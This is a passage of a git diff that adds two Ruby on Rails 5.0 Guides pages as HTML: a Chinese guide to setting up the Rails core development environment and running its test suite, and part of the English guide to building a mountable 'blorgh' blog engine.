+ + + + + + + + + diff --git a/v5.0/development_dependencies_install.html b/v5.0/development_dependencies_install.html new file mode 100644 index 0000000..19cb1a3 --- /dev/null +++ b/v5.0/development_dependencies_install.html @@ -0,0 +1,482 @@ + + + + + + + +安装开发依赖 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

安装开发依赖

本文说明如何搭建 Ruby on Rails 核心开发环境。

读完本文后,您将学到:

+
    +
  • 如何设置你的设备供 Rails 开发;

  • +
  • 如何运行 Rails 测试组件中特定的单元测试组;

  • +
  • Rails 测试组件中的 Active Record 部分是如何运作的。

  • +
+ + + + +
+
+ +
+
+
+

1 简单方式

搭建开发环境最简单、也是推荐的方式是使用 Rails 开发虚拟机

2 笨拙方式

如果你不便使用 Rails 开发虚拟机,参见下述说明。这些步骤说明如何自己动手搭建开发环境,供 Ruby on Rails 核心开发使用。

2.1 安装 Git

Ruby on Rails 使用 Git 做源码控制。Git 的安装说明参见官网。网上有很多学习 Git 的资源:

+
    +
  • Try Git 是个交互式课程,教你基本用法。

  • +
  • 官方文档十分全面,也有一些 Git 基本用法的视频。

  • +
  • Everyday Git 教你一些技能,足够日常使用。

  • +
  • GitHub 帮助页面中有很多 Git 资源的链接。

  • +
  • Pro Git 是一本讲解 Git 的书,基于知识共享许可证发布。

  • +
+

2.2 克隆 Ruby on Rails 仓库

进入你想保存 Ruby on Rails 源码的文件夹,然后执行(会创建 rails 子目录):

+
+$ git clone git://github.com/rails/rails.git
+$ cd rails
+
+
+
+

2.3 准备工作和运行测试

提交的代码必须通过测试组件。不管你是编写新的补丁,还是评估别人的代码,都要运行测试。

首先,安装 sqlite3 gem 所需的 SQLite3 及其开发文件 。macOS 用户这么做:

+
+$ brew install sqlite3
+
+
+
+

Ubuntu 用户这么做:

+
+$ sudo apt-get install sqlite3 libsqlite3-dev
+
+
+
+

Fedora 或 CentOS 用户这么做:

+
+$ sudo yum install sqlite3 sqlite3-devel
+
+
+
+

Arch Linux 用户要这么做:

+
+$ sudo pacman -S sqlite
+
+
+
+

FreeBSD 用户这么做:

+
+# pkg install sqlite3
+
+
+
+

或者编译 databases/sqlite3 port。

然后安装最新版 Bundler

+
+$ gem install bundler
+$ gem update bundler
+
+
+
+

再执行:

+
+$ bundle install --without db
+
+
+
+

这个命令会安装除了 MySQL 和 PostgreSQL 的 Ruby 驱动之外的所有依赖。稍后再安装那两个驱动。

如果想运行使用 memcached 的测试,要安装并运行 memcached。

+
+

在 macOS 中可以使用 Homebrew 安装 memcached:

+
+
+$ brew install memcached
+
+
+
+

在 Ubuntu 中可以使用 apt-get 安装 memcached:

+
+
+$ sudo apt-get install memcached
+
+
+
+

在 Fedora 或 CentOS 中这么做:

+
+
+$ sudo yum install memcached
+
+
+
+

在 Arch Linux 中这么做:

+
+
+$ sudo pacman -S memcached
+
+
+
+

在 FreeBSD 中这么做:

+
+
+# pkg install memcached
+
+
+
+

或者编译 databases/memcached port。

+
+

安装好依赖之后,可以执行下述命令运行测试组件:

+
+$ bundle exec rake test
+
+
+
+

还可以运行某个组件(如 Action Pack)的测试,方法是进入组件所在的目录,然后执行相同的命令:

+
+$ cd actionpack
+$ bundle exec rake test
+
+
+
+

如果想运行某个目录中的测试,使用 TEST_DIR 环境变量指定。例如,下述命令只运行 railties/test/generators 目录中的测试:

+
+$ cd railties
+$ TEST_DIR=generators bundle exec rake test
+
+
+
+

可以像下面这样运行某个文件中的测试:

+
+$ cd actionpack
+$ bundle exec ruby -Itest test/template/form_helper_test.rb
+
+
+
+

还可以运行某个文件中的某个测试:

+
+$ cd actionpack
+$ bundle exec ruby -Itest path/to/test.rb -n test_name
+
+
+
+

2.4 为 Active Record 做准备

Active Record 的测试组件运行三次:一次针对 SQLite3,一次针对 MySQL,还有一次针对 PostgreSQL。下面说明如何为这三种数据库搭建环境。

编写 Active Record 代码时,必须确保测试至少能在 MySQL、PostgreSQL 和 SQLite3 中通过。如果只使用 MySQL 测试,虽然测试能通过,但是不同适配器之间的差异没有考虑到。

2.4.1 数据库配置

Active Record 测试组件需要一个配置文件:activerecord/test/config.ymlactiverecord/test/config.example.yml 文件中有些示例。你可以复制里面的内容,然后根据你的环境修改。

2.4.2 MySQL 和 PostgreSQL

为了运行针对 MySQL 和 PostgreSQL 的测试组件,要安装相应的 gem。首先安装服务器、客户端库和开发文件。

在 macOS 中可以这么做:

+
+$ brew install mysql
+$ brew install postgresql
+
+
+
+

然后按照 Homebrew 给出的说明做。

在 Ubuntu 中只需这么做:

+
+$ sudo apt-get install mysql-server libmysqlclient-dev
+$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
+
+
+
+

在 Fedora 或 CentOS 中只需这么做:

+
+$ sudo yum install mysql-server mysql-devel
+$ sudo yum install postgresql-server postgresql-devel
+
+
+
+

MySQL 不再支持 Arch Linux,因此你要使用 MariaDB(参见这个声明):

+
+$ sudo pacman -S mariadb libmariadbclient mariadb-clients
+$ sudo pacman -S postgresql postgresql-libs
+
+
+
+

FreeBSD 用户要这么做:

+
+# pkg install mysql56-client mysql56-server
+# pkg install postgresql94-client postgresql94-server
+
+
+
+

或者通过 port 安装(在 databases 文件夹中)。在安装 MySQL 的过程中如何遇到问题,请查阅 MySQL 文档

安装好之后,执行下述命令:

+
+$ rm .bundle/config
+$ bundle install
+
+
+
+

首先,我们要删除 .bundle/config 文件,因为 Bundler 记得那个文件中的配置。我们前面配置了,不安装“db”分组(此外也可以修改那个文件)。

为了使用 MySQL 运行测试组件,我们要创建一个名为 rails 的用户,并且赋予它操作测试数据库的权限:

+
+$ mysql -uroot -p
+
+mysql> CREATE USER 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.*
+       to 'rails'@'localhost';
+
+
+
+

然后创建测试数据库:

+
+$ cd activerecord
+$ bundle exec rake db:mysql:build
+
+
+
+

PostgreSQL 的身份验证方式有所不同。为了使用开发账户搭建开发环境,在 Linux 或 BSD 中要这么做:

+
+$ sudo -u postgres createuser --superuser $USER
+
+
+
+

在 macOS 中这么做:

+
+$ createuser --superuser $USER
+
+
+
+

然后,执行下述命令创建测试数据库:

+
+$ cd activerecord
+$ bundle exec rake db:postgresql:build
+
+
+
+

可以执行下述命令创建 PostgreSQL 和 MySQL 的测试数据库:

+
+$ cd activerecord
+$ bundle exec rake db:create
+
+
+
+

可以使用下述命令清理数据库:

+
+$ cd activerecord
+$ bundle exec rake db:drop
+
+
+
+

使用 rake 任务创建测试数据库能保障数据库使用正确的字符集和排序规则。

在 PostgreSQL 9.1.x 及早期版本中激活 HStore 扩展会看到这个提醒(或本地化的提醒):“WARNING: => is deprecated as an operator”。

如果使用其他数据库,默认的连接信息参见 activerecord/test/config.ymlactiverecord/test/config.example.yml 文件。如果有必要,可以在你的设备中编辑 activerecord/test/config.yml 文件,提供不同的凭据。不过显然,不应该把这种改动推送回 Rails 仓库。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/engines.html b/v5.0/engines.html new file mode 100644 index 0000000..d915f4a --- /dev/null +++ b/v5.0/engines.html @@ -0,0 +1,1455 @@ + + + + + + + +Getting Started with Engines — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Getting Started with Engines

In this guide you will learn about engines and how they can be used to provide +additional functionality to their host applications through a clean and very +easy-to-use interface.

After reading this guide, you will know:

+
    +
  • What makes an engine.
  • +
  • How to generate an engine.
  • +
  • Building features for the engine.
  • +
  • Hooking the engine into an application.
  • +
  • Overriding engine functionality in the application.
  • +
+ + + + +
+
+ +
+
+
+

1 What are engines?

Engines can be considered miniature applications that provide functionality to +their host applications. A Rails application is actually just a "supercharged" +engine, with the Rails::Application class inheriting a lot of its behavior +from Rails::Engine.

Therefore, engines and applications can be thought of almost the same thing, +just with subtle differences, as you'll see throughout this guide. Engines and +applications also share a common structure.

Engines are also closely related to plugins. The two share a common lib +directory structure, and are both generated using the rails plugin new +generator. The difference is that an engine is considered a "full plugin" by +Rails (as indicated by the --full option that's passed to the generator +command). We'll actually be using the --mountable option here, which includes +all the features of --full, and then some. This guide will refer to these +"full plugins" simply as "engines" throughout. An engine can be a plugin, +and a plugin can be an engine.

The engine that will be created in this guide will be called "blorgh". This +engine will provide blogging functionality to its host applications, allowing +for new articles and comments to be created. At the beginning of this guide, you +will be working solely within the engine itself, but in later sections you'll +see how to hook it into an application.

Engines can also be isolated from their host applications. This means that an +application is able to have a path provided by a routing helper such as +articles_path and use an engine also that provides a path also called +articles_path, and the two would not clash. Along with this, controllers, models +and table names are also namespaced. You'll see how to do this later in this +guide.

It's important to keep in mind at all times that the application should +always take precedence over its engines. An application is the object that +has final say in what goes on in its environment. The engine should +only be enhancing it, rather than changing it drastically.

To see demonstrations of other engines, check out +Devise, an engine that provides +authentication for its parent applications, or +Forem, an engine that provides forum +functionality. There's also Spree which +provides an e-commerce platform, and +RefineryCMS, a CMS engine.

Finally, engines would not have been possible without the work of James Adam, +Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever +meet them, don't forget to say thanks!

2 Generating an engine

To generate an engine, you will need to run the plugin generator and pass it +options as appropriate to the need. For the "blorgh" example, you will need to +create a "mountable" engine, running this command in a terminal:

+
+$ rails plugin new blorgh --mountable
+
+
+
+

The full list of options for the plugin generator may be seen by typing:

+
+$ rails plugin --help
+
+
+
+

The --mountable option tells the generator that you want to create a +"mountable" and namespace-isolated engine. This generator will provide the same +skeleton structure as would the --full option. The --full option tells the +generator that you want to create an engine, including a skeleton structure +that provides the following:

+
    +
  • An app directory tree
  • +
  • +

    A config/routes.rb file:

    +
    +
    +Rails.application.routes.draw do
    +end
    +
    +
    +
    +
  • +
  • +

    A file at lib/blorgh/engine.rb, which is identical in function to a +standard Rails application's config/application.rb file:

    +
    +
    +module Blorgh
    +  class Engine < ::Rails::Engine
    +  end
    +end
    +
    +
    +
    +
  • +
+

The --mountable option will add to the --full option:

+
    +
  • Asset manifest files (application.js and application.css)
  • +
  • A namespaced ApplicationController stub
  • +
  • A namespaced ApplicationHelper stub
  • +
  • A layout view template for the engine
  • +
  • +

    Namespace isolation to config/routes.rb:

    +
    +
    +Blorgh::Engine.routes.draw do
    +end
    +
    +
    +
    +
  • +
  • +

    Namespace isolation to lib/blorgh/engine.rb:

    +
    +
    +module Blorgh
    +  class Engine < ::Rails::Engine
    +    isolate_namespace Blorgh
    +  end
    +end
    +
    +
    +
    +
  • +
+

Additionally, the --mountable option tells the generator to mount the engine +inside the dummy testing application located at test/dummy by adding the +following to the dummy application's routes file at +test/dummy/config/routes.rb:

+
+mount Blorgh::Engine => "/blorgh"
+
+
+
+

2.1 Inside an Engine

2.1.1 Critical Files

At the root of this brand new engine's directory lives a blorgh.gemspec file. +When you include the engine into an application later on, you will do so with +this line in the Rails application's Gemfile:

+
+gem 'blorgh', path: 'engines/blorgh'
+
+
+
+

Don't forget to run bundle install as usual. By specifying it as a gem within +the Gemfile, Bundler will load it as such, parsing this blorgh.gemspec file +and requiring a file within the lib directory called lib/blorgh.rb. This +file requires the blorgh/engine.rb file (located at lib/blorgh/engine.rb) +and defines a base module called Blorgh.

+
+require "blorgh/engine"
+
+module Blorgh
+end
+
+
+
+

Some engines choose to use this file to put global configuration options +for their engine. It's a relatively good idea, so if you want to offer +configuration options, the file where your engine's module is defined is +perfect for that. Place the methods inside the module and you'll be good to go.

Within lib/blorgh/engine.rb is the base class for the engine:

+
+module Blorgh
+  class Engine < ::Rails::Engine
+    isolate_namespace Blorgh
+  end
+end
+
+
+
+

By inheriting from the Rails::Engine class, this gem notifies Rails that +there's an engine at the specified path, and will correctly mount the engine +inside the application, performing tasks such as adding the app directory of +the engine to the load path for models, mailers, controllers and views.

The isolate_namespace method here deserves special notice. This call is +responsible for isolating the controllers, models, routes and other things into +their own namespace, away from similar components inside the application. +Without this, there is a possibility that the engine's components could "leak" +into the application, causing unwanted disruption, or that important engine +components could be overridden by similarly named things within the application. +One of the examples of such conflicts is helpers. Without calling +isolate_namespace, the engine's helpers would be included in an application's +controllers.

It is highly recommended that the isolate_namespace line be left +within the Engine class definition. Without it, classes generated in an engine +may conflict with an application.

What this isolation of the namespace means is that a model generated by a call +to bin/rails g model, such as bin/rails g model article, won't be called Article, but +instead be namespaced and called Blorgh::Article. In addition, the table for the +model is namespaced, becoming blorgh_articles, rather than simply articles. +Similar to the model namespacing, a controller called ArticlesController becomes +Blorgh::ArticlesController and the views for that controller will not be at +app/views/articles, but app/views/blorgh/articles instead. Mailers are namespaced +as well.

Finally, routes will also be isolated within the engine. This is one of the most +important parts about namespacing, and is discussed later in the +Routes section of this guide.

2.1.2 app Directory

Inside the app directory are the standard assets, controllers, helpers, +mailers, models and views directories that you should be familiar with +from an application. The helpers, mailers and models directories are +empty, so they aren't described in this section. We'll look more into models in +a future section, when we're writing the engine.

Within the app/assets directory, there are the images, javascripts and +stylesheets directories which, again, you should be familiar with due to their +similarity to an application. One difference here, however, is that each +directory contains a sub-directory with the engine name. Because this engine is +going to be namespaced, its assets should be too.

Within the app/controllers directory there is a blorgh directory that +contains a file called application_controller.rb. This file will provide any +common functionality for the controllers of the engine. The blorgh directory +is where the other controllers for the engine will go. By placing them within +this namespaced directory, you prevent them from possibly clashing with +identically-named controllers within other engines or even within the +application.

The ApplicationController class inside an engine is named just like a +Rails application in order to make it easier for you to convert your +applications into engines.

Because of the way that Ruby does constant lookup you may run into a situation +where your engine controller is inheriting from the main application controller and +not your engine's application controller. Ruby is able to resolve the ApplicationController constant, and therefore the autoloading mechanism is not triggered. See the section When Constants Aren't Missed of the Autoloading and Reloading Constants guide for further details. The best way to prevent this from +happening is to use require_dependency to ensure that the engine's application +controller is loaded. For example:

+
+# app/controllers/blorgh/articles_controller.rb:
+require_dependency "blorgh/application_controller"
+
+module Blorgh
+  class ArticlesController < ApplicationController
+    ...
+  end
+end
+
+
+
+

Don't use require because it will break the automatic reloading of classes +in the development environment - using require_dependency ensures that classes are +loaded and unloaded in the correct manner.

Lastly, the app/views directory contains a layouts folder, which contains a +file at blorgh/application.html.erb. This file allows you to specify a layout +for the engine. If this engine is to be used as a stand-alone engine, then you +would add any customization to its layout in this file, rather than the +application's app/views/layouts/application.html.erb file.

If you don't want to force a layout on to users of the engine, then you can +delete this file and reference a different layout in the controllers of your +engine.

2.1.3 bin Directory

This directory contains one file, bin/rails, which enables you to use the +rails sub-commands and generators just like you would within an application. +This means that you will be able to generate new controllers and models for this +engine very easily by running commands like this:

+
+$ bin/rails g model
+
+
+
+

Keep in mind, of course, that anything generated with these commands inside of +an engine that has isolate_namespace in the Engine class will be namespaced.

2.1.4 test Directory

The test directory is where tests for the engine will go. To test the engine, +there is a cut-down version of a Rails application embedded within it at +test/dummy. This application will mount the engine in the +test/dummy/config/routes.rb file:

+
+Rails.application.routes.draw do
+  mount Blorgh::Engine => "/blorgh"
+end
+
+
+
+

This line mounts the engine at the path /blorgh, which will make it accessible +through the application only at that path.

Inside the test directory there is the test/integration directory, where +integration tests for the engine should be placed. Other directories can be +created in the test directory as well. For example, you may wish to create a +test/models directory for your model tests.

3 Providing engine functionality

The engine that this guide covers provides submitting articles and commenting +functionality and follows a similar thread to the Getting Started +Guide, with some new twists.

3.1 Generating an Article Resource

The first thing to generate for a blog engine is the Article model and related +controller. To quickly generate this, you can use the Rails scaffold generator.

+
+$ bin/rails generate scaffold article title:string text:text
+
+
+
+

This command will output this information:

+
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_articles.rb
+create    app/models/blorgh/article.rb
+invoke    test_unit
+create      test/models/blorgh/article_test.rb
+create      test/fixtures/blorgh/articles.yml
+invoke  resource_route
+ route    resources :articles
+invoke  scaffold_controller
+create    app/controllers/blorgh/articles_controller.rb
+invoke    erb
+create      app/views/blorgh/articles
+create      app/views/blorgh/articles/index.html.erb
+create      app/views/blorgh/articles/edit.html.erb
+create      app/views/blorgh/articles/show.html.erb
+create      app/views/blorgh/articles/new.html.erb
+create      app/views/blorgh/articles/_form.html.erb
+invoke    test_unit
+create      test/controllers/blorgh/articles_controller_test.rb
+invoke    helper
+create      app/helpers/blorgh/articles_helper.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/articles.js
+invoke    css
+create      app/assets/stylesheets/blorgh/articles.css
+invoke  css
+create    app/assets/stylesheets/scaffold.css
+
+
+
+

The first thing that the scaffold generator does is invoke the active_record +generator, which generates a migration and a model for the resource. Note here, +however, that the migration is called create_blorgh_articles rather than the +usual create_articles. This is due to the isolate_namespace method called in +the Blorgh::Engine class's definition. The model here is also namespaced, +being placed at app/models/blorgh/article.rb rather than app/models/article.rb due +to the isolate_namespace call within the Engine class.

Next, the test_unit generator is invoked for this model, generating a model +test at test/models/blorgh/article_test.rb (rather than +test/models/article_test.rb) and a fixture at test/fixtures/blorgh/articles.yml +(rather than test/fixtures/articles.yml).

After that, a line for the resource is inserted into the config/routes.rb file +for the engine. This line is simply resources :articles, turning the +config/routes.rb file for the engine into this:

+
+Blorgh::Engine.routes.draw do
+  resources :articles
+end
+
+
+
+

Note here that the routes are drawn upon the Blorgh::Engine object rather than +the YourApp::Application class. This is so that the engine routes are confined +to the engine itself and can be mounted at a specific point as shown in the +test directory section. It also causes the engine's routes to +be isolated from those routes that are within the application. The +Routes section of this guide describes it in detail.

Next, the scaffold_controller generator is invoked, generating a controller +called Blorgh::ArticlesController (at +app/controllers/blorgh/articles_controller.rb) and its related views at +app/views/blorgh/articles. This generator also generates a test for the +controller (test/controllers/blorgh/articles_controller_test.rb) and a helper +(app/helpers/blorgh/articles_helper.rb).

Everything this generator has created is neatly namespaced. The controller's +class is defined within the Blorgh module:

+
+module Blorgh
+  class ArticlesController < ApplicationController
+    ...
+  end
+end
+
+
+
+

The ArticlesController class inherits from +Blorgh::ApplicationController, not the application's ApplicationController.

The helper inside app/helpers/blorgh/articles_helper.rb is also namespaced:

+
+module Blorgh
+  module ArticlesHelper
+    ...
+  end
+end
+
+
+
+

This helps prevent conflicts with any other engine or application that may have +an article resource as well.

Finally, the assets for this resource are generated in two files: +app/assets/javascripts/blorgh/articles.js and +app/assets/stylesheets/blorgh/articles.css. You'll see how to use these a little +later.

You can see what the engine has so far by running bin/rails db:migrate at the root +of our engine to run the migration generated by the scaffold generator, and then +running rails server in test/dummy. When you open +http://localhost:3000/blorgh/articles you will see the default scaffold that has +been generated. Click around! You've just generated your first engine's first +functions.

If you'd rather play around in the console, rails console will also work just +like a Rails application. Remember: the Article model is namespaced, so to +reference it you must call it as Blorgh::Article.

+
+>> Blorgh::Article.find(1)
+=> #<Blorgh::Article id: 1 ...>
+
+
+
+

One final thing is that the articles resource for this engine should be the root +of the engine. Whenever someone goes to the root path where the engine is +mounted, they should be shown a list of articles. This can be made to happen if +this line is inserted into the config/routes.rb file inside the engine:

+
+root to: "articles#index"
+
+
+
+

Now people will only need to go to the root of the engine to see all the articles, +rather than visiting /articles. This means that instead of +http://localhost:3000/blorgh/articles, you only need to go to +http://localhost:3000/blorgh now.

3.2 Generating a Comments Resource

Now that the engine can create new articles, it only makes sense to add +commenting functionality as well. To do this, you'll need to generate a comment +model, a comment controller and then modify the articles scaffold to display +comments and allow people to create new ones.

From the application root, run the model generator. Tell it to generate a +Comment model, with the related table having two columns: an article_id integer +and text text column.

+
+$ bin/rails generate model Comment article_id:integer text:text
+
+
+
+

This will output the following:

+
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_comments.rb
+create    app/models/blorgh/comment.rb
+invoke    test_unit
+create      test/models/blorgh/comment_test.rb
+create      test/fixtures/blorgh/comments.yml
+
+
+
+

This generator call will generate just the necessary model files it needs, +namespacing the files under a blorgh directory and creating a model class +called Blorgh::Comment. Now run the migration to create our blorgh_comments +table:

+
+$ bin/rails db:migrate
+
+
+
+

To show the comments on an article, edit app/views/blorgh/articles/show.html.erb and +add this line before the "Edit" link:

+
+<h3>Comments</h3>
+<%= render @article.comments %>
+
+
+
+

This line will require there to be a has_many association for comments defined +on the Blorgh::Article model, which there isn't right now. To define one, open +app/models/blorgh/article.rb and add this line into the model:

+
+has_many :comments
+
+
+
+

Turning the model into this:

+
+module Blorgh
+  class Article < ApplicationRecord
+    has_many :comments
+  end
+end
+
+
+
+

Because the has_many is defined inside a class that is inside the +Blorgh module, Rails will know that you want to use the Blorgh::Comment +model for these objects, so there's no need to specify that using the +:class_name option here.

Next, there needs to be a form so that comments can be created on an article. To +add this, put this line underneath the call to render @article.comments in +app/views/blorgh/articles/show.html.erb:

+
+<%= render "blorgh/comments/form" %>
+
+
+
+

Next, the partial that this line will render needs to exist. Create a new +directory at app/views/blorgh/comments and in it a new file called +_form.html.erb which has this content to create the required partial:

+
+<h3>New comment</h3>
+<%= form_for [@article, @article.comments.build] do |f| %>
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+  <%= f.submit %>
+<% end %>
+
+
+
+

When this form is submitted, it is going to attempt to perform a POST request +to a route of /articles/:article_id/comments within the engine. This route doesn't +exist at the moment, but can be created by changing the resources :articles line +inside config/routes.rb into these lines:

+
+resources :articles do
+  resources :comments
+end
+
+
+
+

This creates a nested route for the comments, which is what the form requires.

The route now exists, but the controller that this route goes to does not. To +create it, run this command from the application root:

+
+$ bin/rails g controller comments
+
+
+
+

This will generate the following things:

+
+create  app/controllers/blorgh/comments_controller.rb
+invoke  erb
+ exist    app/views/blorgh/comments
+invoke  test_unit
+create    test/controllers/blorgh/comments_controller_test.rb
+invoke  helper
+create    app/helpers/blorgh/comments_helper.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/comments.js
+invoke    css
+create      app/assets/stylesheets/blorgh/comments.css
+
+
+
+

The form will be making a POST request to /articles/:article_id/comments, which +will correspond with the create action in Blorgh::CommentsController. This +action needs to be created, which can be done by putting the following lines +inside the class definition in app/controllers/blorgh/comments_controller.rb:

+
+def create
+  @article = Article.find(params[:article_id])
+  @comment = @article.comments.create(comment_params)
+  flash[:notice] = "Comment has been created!"
+  redirect_to articles_path
+end
+
+private
+  def comment_params
+    params.require(:comment).permit(:text)
+  end
+
+
+
+

This is the final step required to get the new comment form working. Displaying +the comments, however, is not quite right yet. If you were to create a comment +right now, you would see this error:

+
+Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder],
+:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
+"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
+"/Users/ryan/Sites/side_projects/blorgh/app/views"
+
+
+
+

The engine is unable to find the partial required for rendering the comments. +Rails looks first in the application's (test/dummy) app/views directory and +then in the engine's app/views directory. When it can't find it, it will throw +this error. The engine knows to look for blorgh/comments/_comment because the +model object it is receiving is from the Blorgh::Comment class.

This partial will be responsible for rendering just the comment text, for now. +Create a new file at app/views/blorgh/comments/_comment.html.erb and put this +line inside it:

+
+<%= comment_counter + 1 %>. <%= comment.text %>
+
+
+
+

The comment_counter local variable is given to us by the <%= render +@article.comments %> call, which will define it automatically and increment the +counter as it iterates through each comment. It's used in this example to +display a small number next to each comment when it's created.

That completes the comment function of the blogging engine. Now it's time to use +it within an application.

4 Hooking Into an Application

Using an engine within an application is very easy. This section covers how to +mount the engine into an application and the initial setup required, as well as +linking the engine to a User class provided by the application to provide +ownership for articles and comments within the engine.

4.1 Mounting the Engine

First, the engine needs to be specified inside the application's Gemfile. If +there isn't an application handy to test this out in, generate one using the +rails new command outside of the engine directory like this:

+
+$ rails new unicorn
+
+
+
+

Usually, specifying the engine inside the Gemfile would be done by specifying it +as a normal, everyday gem.

+
+gem 'devise'
+
+
+
+

However, because you are developing the blorgh engine on your local machine, +you will need to specify the :path option in your Gemfile:

+
+gem 'blorgh', path: 'engines/blorgh'
+
+
+
+

Then run bundle to install the gem.

As described earlier, by placing the gem in the Gemfile it will be loaded when +Rails is loaded. It will first require lib/blorgh.rb from the engine, then +lib/blorgh/engine.rb, which is the file that defines the major pieces of +functionality for the engine.

To make the engine's functionality accessible from within an application, it +needs to be mounted in that application's config/routes.rb file:

+
+mount Blorgh::Engine, at: "/blog"
+
+
+
+

This line will mount the engine at /blog in the application. Making it +accessible at http://localhost:3000/blog when the application runs with rails +server.

Other engines, such as Devise, handle this a little differently by making +you specify custom helpers (such as devise_for) in the routes. These helpers +do exactly the same thing, mounting pieces of the engines's functionality at a +pre-defined path which may be customizable.

4.2 Engine setup

The engine contains migrations for the blorgh_articles and blorgh_comments +table which need to be created in the application's database so that the +engine's models can query them correctly. To copy these migrations into the +application run the following command from the test/dummy directory of your Rails engine:

+
+$ bin/rails blorgh:install:migrations
+
+
+
+

If you have multiple engines that need migrations copied over, use +railties:install:migrations instead:

+
+$ bin/rails railties:install:migrations
+
+
+
+

This command, when run for the first time, will copy over all the migrations +from the engine. When run the next time, it will only copy over migrations that +haven't been copied over already. The first run for this command will output +something such as this:

+
+Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh
+Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh
+
+
+
+

The first timestamp ([timestamp_1]) will be the current time, and the second +timestamp ([timestamp_2]) will be the current time plus a second. The reason +for this is so that the migrations for the engine are run after any existing +migrations in the application.

To run these migrations within the context of the application, simply run bin/rails +db:migrate. When accessing the engine through http://localhost:3000/blog, the +articles will be empty. This is because the table created inside the application is +different from the one created within the engine. Go ahead, play around with the +newly mounted engine. You'll find that it's the same as when it was only an +engine.

If you would like to run migrations only from one engine, you can do it by +specifying SCOPE:

+
+bin/rails db:migrate SCOPE=blorgh
+
+
+
+

This may be useful if you want to revert engine's migrations before removing it. +To revert all migrations from blorgh engine you can run code such as:

+
+bin/rails db:migrate SCOPE=blorgh VERSION=0
+
+
+
+

4.3 Using a Class Provided by the Application

4.3.1 Using a Model Provided by the Application

When an engine is created, it may want to use specific classes from an +application to provide links between the pieces of the engine and the pieces of +the application. In the case of the blorgh engine, making articles and comments +have authors would make a lot of sense.

A typical application might have a User class that would be used to represent +authors for an article or a comment. But there could be a case where the +application calls this class something different, such as Person. For this +reason, the engine should not hardcode associations specifically for a User +class.

To keep it simple in this case, the application will have a class called User +that represents the users of the application (we'll get into making this +configurable further on). It can be generated using this command inside the +application:

+
+rails g model user name:string
+
+
+
+

The bin/rails db:migrate command needs to be run here to ensure that our +application has the users table for future use.

Also, to keep it simple, the articles form will have a new text field called +author_name, where users can elect to put their name. The engine will then +take this name and either create a new User object from it, or find one that +already has that name. The engine will then associate the article with the found or +created User object.

First, the author_name text field needs to be added to the +app/views/blorgh/articles/_form.html.erb partial inside the engine. This can be +added above the title field with this code:

+
+<div class="field">
+  <%= f.label :author_name %><br>
+  <%= f.text_field :author_name %>
+</div>
+
+
+
+

Next, we need to update our Blorgh::ArticleController#article_params method to +permit the new form parameter:

+
+def article_params
+  params.require(:article).permit(:title, :text, :author_name)
+end
+
+
+
+

The Blorgh::Article model should then have some code to convert the author_name +field into an actual User object and associate it as that article's author +before the article is saved. It will also need to have an attr_accessor set up +for this field, so that the setter and getter methods are defined for it.

To do all this, you'll need to add the attr_accessor for author_name, the +association for the author and the before_validation call into +app/models/blorgh/article.rb. The author association will be hard-coded to the +User class for the time being.

+
+attr_accessor :author_name
+belongs_to :author, class_name: "User"
+
+before_validation :set_author
+
+private
+  def set_author
+    self.author = User.find_or_create_by(name: author_name)
+  end
+
+
+
+

By representing the author association's object with the User class, a link +is established between the engine and the application. There needs to be a way +of associating the records in the blorgh_articles table with the records in the +users table. Because the association is called author, there should be an +author_id column added to the blorgh_articles table.

To generate this new column, run this command within the engine:

+
+$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer
+
+
+
+

Due to the migration's name and the column specification after it, Rails +will automatically know that you want to add a column to a specific table and +write that into the migration for you. You don't need to tell it any more than +this.

This migration will need to be run on the application. To do that, it must first +be copied using this command:

+
+$ bin/rails blorgh:install:migrations
+
+
+
+

Notice that only one migration was copied over here. This is because the first +two migrations were copied over the first time this command was run.

+
+NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
+NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
+Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh
+
+
+
+

Run the migration using:

+
+$ bin/rails db:migrate
+
+
+
+

Now with all the pieces in place, an action will take place that will associate +an author - represented by a record in the users table - with an article, +represented by the blorgh_articles table from the engine.

Finally, the author's name should be displayed on the article's page. Add this code +above the "Title" output inside app/views/blorgh/articles/show.html.erb:

+
+<p>
+  <b>Author:</b>
+  <%= @article.author.name %>
+</p>
+
+
+
+
4.3.2 Using a Controller Provided by the Application

